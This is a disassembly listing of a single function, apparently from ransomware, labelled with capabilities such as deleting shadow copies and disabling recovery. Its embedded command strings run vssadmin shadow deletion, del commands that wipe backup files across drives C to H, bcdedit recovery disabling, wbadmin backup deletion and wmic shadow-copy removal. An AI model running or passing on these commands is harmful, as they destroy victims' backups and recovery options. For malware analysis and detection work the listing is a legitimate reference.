Function at 0x140040760
Capabilities:
Delete volume shadow copies
Disable automatic windows recovery features
Manipulate boot configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x50]
sub rsp, 0x150
lea rdx, str.UTF_8
mov ecx, 2
call fcn.14007a3c0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], ax
lea r8d, [rax + 0x26]
lea rdx, str.8761ABBD_7F85_42EE_B272_A76179687C63
lea rcx, [rsp + 0x30]
call fcn.140037b30
cmp qword [rsp + 0x40], 0
je 0x140040801
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae r8, qword [rsp + 0x30]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
jne 0x140040801
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae r8, qword [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
xor bl, bl
jmp 0x140040803
mov bl, 1
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140040845
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040840
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140040913
call fcn.140071ab4
test bl, bl
jne 0x1400408fa
call fcn.140043e90
test al, al
jne 0x14004085b
call fcn.140043f20
call fcn.140039d10
lea rbx, [0x140114380]
lea rcx, [rsp + 0x30]
call fcn.140038fa0
mov rdi, rax
lea rsi, [0x1401146c0]
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140038c70
mov rdx, rdi
call fcn.140043ca0
test al, al
je 0x1400408a1
mov rdx, rdi
call fcn.140043df0
lea rcx, [rsp + 0x30]
call fcn.140037a60
add rbx, 0x20
cmp rbx, rsi
jne 0x140040880
lea rbx, [0x140113480]
lea rcx, [rsp + 0x30]
call fcn.140038fa0
mov rdi, rax
lea rsi, [0x140113bc0]
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140038c70
mov rdx, rdi
call fcn.140043aa0
lea rcx, [rsp + 0x30]
call fcn.140037a60
add rbx, 0x20
cmp rbx, rsi
je 0x140040919
jmp 0x1400408d0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140077e4c
int3
call fcn.140043a80
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__forc:__onc:__maxsize401MB
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__forc:__onc:__maxsizeunbounded
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__ford:__ond:__maxsize401MB
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__ford:__ond:__maxsizeunbounded
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__fore:__one:__maxsize401MB
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__fore:__one:__maxsizeunbounded
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__forf:__onf:__maxsize401MB
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__forf:__onf:__maxsizeunbounded
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__forg:__ong:__maxsize401MB
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__forg:__ong:__maxsizeunbounded
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__forh:__onh:__maxsize401MB
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Resize_ShadowStorage__forh:__onh:__maxsizeunbounded
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.vssadmin.exe_Delete_Shadows__All__Quiet
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.del__s__f__q_c:.VHD_c:.bac_c:.bak_c:.wbcat_c:.bkf_c:Backup._c:_backup._c:.set_c:.win_c:.dsk
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.del__s__f__q_d:.VHD_d:.bac_d:.bak_d:.wbcat_d:.bkf_d:Backup._d:_backup._d:.set_d:.win_d:.dsk
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.del__s__f__q_e:.VHD_e:.bac_e:.bak_e:.wbcat_e:.bkf_e:Backup._e:_backup._e:.set_e:.win_e:.dsk
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.del__s__f__q_f:.VHD_f:.bac_f:.bak_f:.wbcat_f:.bkf_f:Backup._f:_backup._f:.set_f:.win_f:.dsk
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.del__s__f__q_g:.VHD_g:.bac_g:.bak_g:.wbcat_g:.bkf_g:Backup._g:_backup._g:.set_g:.win_g:.dsk
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.del__s__f__q_h:.VHD_h:.bac_h:.bak_h:.wbcat_h:.bkf_h:Backup._h:_backup._h:.set_h:.win_h:.dsk
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.del__0
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.bcdedit.exe__set_default_recoveryenabled_No
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.wbadmin_DELETE_SYSTEMSTATEBACKUP
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.wbadmin_DELETE_SYSTEMSTATEBACKUP__deleteOldest
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.wmic.exe_SHADOWCOPY__nointeractive
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.1400439b0
lea rcx, [rsp + 0x30]
call fcn.140037a60
call fcn.140039fa0
lea rdx, str.LanmanWorkstation
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.140043ca0
lea rcx, [rsp + 0x30]
call fcn.140037a60
lea rdx, str.LanmanWorkstation
lea rcx, [rsp + 0x30]
call fcn.140037ad0
lea rdx, [rsp + 0x30]
call fcn.140043d50
lea rcx, [rsp + 0x30]
call fcn.140037a60
call fcn.14003a020
lea r8, [0x140113460]
call fcn.14003a160
lea r8, [0x140113be0]
call fcn.14003a160
lea r8, [0x140113ce0]
call fcn.14003a160
lea rcx, [rsp + 0x50]
call fcn.140037de0
lea rcx, [rbp - 0x30]
call fcn.140040720
lea rcx, [rsp + 0x50]
call fcn.140037e80
movzx ebx, al
lea rcx, [rbp - 0x30]
call fcn.140038a60
movzx edi, al
test bl, bl
je 0x140040d6d
lea rcx, [rsp + 0x50]
call fcn.140047b40
test dil, dil
je 0x140040d7b
lea rcx, [rbp - 0x30]
call fcn.140047b40
call fcn.1400438f0
int3